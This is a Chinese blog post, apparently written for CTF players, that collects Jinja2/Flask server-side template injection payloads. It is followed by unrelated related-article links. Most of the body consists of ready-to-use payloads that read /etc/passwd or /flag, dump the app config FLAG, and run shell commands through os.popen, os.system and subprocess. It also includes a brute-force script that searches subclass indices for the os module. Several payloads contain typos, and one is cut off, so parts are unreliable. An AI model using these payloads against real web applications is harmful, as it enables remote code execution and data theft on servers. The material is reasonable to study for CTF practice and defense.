基于SSTI模块注入的常用payload总结

简介: 基于SSTI模块注入的常用payload总结

写在前面:


(1)下面payload中的__mro__[2]有时候需要换成__base__ (但是我遇到的还是前者多些),具体用哪个取决于题目环境的实际情况;


(2)payload中的xx代表我们所要利用的类或者函数所在位置,即我们通过脚本跑出来的类或者函数所在的位置;


(3)关于爆破的脚本请参考我前面的博客【http://t.csdn.cn/ygvBK】,这里主要是总结payload 。

一、查找函数位置,利用函数实现

1、利用file函数进行读取

{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2、利用内嵌函数eval进行命令执行

{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__i

3、利用linecache函数进行命令执行

{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['linecache']['os'].popen('ls').read()}}

二、查找类的位置,利用类下的函数实现

1、利用_frozen_importlib_external.FileLoader类

(该类下的get_data函数进行读取)

{{''.__class__.__mro__[2].__subclasses__()[xx]["get_data"](0,"/etc/passwd")}}

2、利用importlib类进行命令执行

(该类下的load_module可以引用os)

{{''.__class__.__mro__[2]__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}

3、利用subprocess.Popen类进行命令执行

{{''.__class__.__mro[2]__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

三、利用os模块进行命令执行

即在其他函数中直接掉用os模块来执行os.popen()

1、利用config

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

2、利用url_for

{{url_for.__globals__['os'].popen('ls').read()}}
cycler               {{cycler.__init__.__globals__.os.popen('id').read()}}
joiner               {{joiner.__init__.__globals__.os.popen('id').read()}}
namespace            {{namespace.__init__.__globals__.os.popen('id').read()}}

3、利用子类的os模块

查找含有os模块的子类:

import requests
url = ""
for i in range(500):
    data = {
        "parms": "{{''.__class__.__mro__[2]__.__subclasses__()[{}].__init__.__globals__}}".format(str(i))
    }#传入的参数,根据事实情况更改参数的名称
    try:
        re = requests.get(url=url,params=data).text
        if 'os.py' in re:
            print(i,data["parms"])
    except:
        pass
{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['os'].popoen('ls').read()}}

四、关于其他的利用

1、利用lipsum执行命令

{{lipsum.__globals__['os']['popen']('ls').read()}}

2、读取配置文件中的FLAG

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

3、利用warnings.catch_warnings 进行命令执行

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()

4、利用 _ _ import _ _ 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

5、 利用任意字符串或特殊变量

{{sss.__init__.__globals__.__builtins__.open("/flag").read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{request.application.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

可以看到上面很多payload中都有popen函数,实质还是对popen函数的利用,因此我们在使用脚本爆破时一定要尝试popen函数。

目录
相关文章
|
8月前
|
Go
12、报错注入(Post)
12、报错注入(Post)
38 0
|
移动开发 Java
java发送post请求,使用multipart/form-data的方式传递参数
java发送post请求,使用multipart/form-data的方式传递参数
1466 0
|
2月前
|
前端开发 开发者
如何理解 package.json 中的 proxy 字段?
`package.json` 中的 `proxy` 字段用于配置代理服务器,帮助前端开发中解决跨域问题及模拟后端响应。其基本概念、使用场景及配置方法将在本文中详细探讨,助力开发者高效调试与测试。
75 4
|
3月前
|
前端开发 Java Spring
【Spring】“请求“ 之后端传参重命名,传递数组、集合,@PathVariable,@RequestPart
【Spring】“请求“ 之后端传参重命名,传递数组、集合,@PathVariable,@RequestPart
46 2
|
8月前
|
数据安全/隐私保护 开发框架
flea-auth使用之功能子模块介绍
本篇介绍笔者 Flea框架下的 flea-auth模块中的 功能子模块
72 1
flea-auth使用之功能子模块介绍
|
前端开发 Java 应用服务中间件
配置SpringMVC的前端控制器DispatcherServlet时,<url-pattern>中“/“和“/*“的区别
配置SpringMVC的前端控制器DispatcherServlet时,<url-pattern>中“/“和“/*“的区别
|
8月前
|
Java Spring
解决SpringBoot中@RequestBody不能和Multipart同时传递的问题
请根据你的实际需求选择上述方法之一来解决Spring Boot中 `@RequestBody`不能和 `Multipart`同时使用的问题。
1117 1
|
8月前
BurpSuite2021 -- Decode、Comparer、logger模块
BurpSuite2021 -- Decode、Comparer、logger模块
78 1
|
传感器 编解码 数据可视化
costmap_common_params.yaml参数解析和修改要点
costmap_common_params.yaml参数解析和修改要点
1566 1
|
SQL XML Java
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)

热门文章

最新文章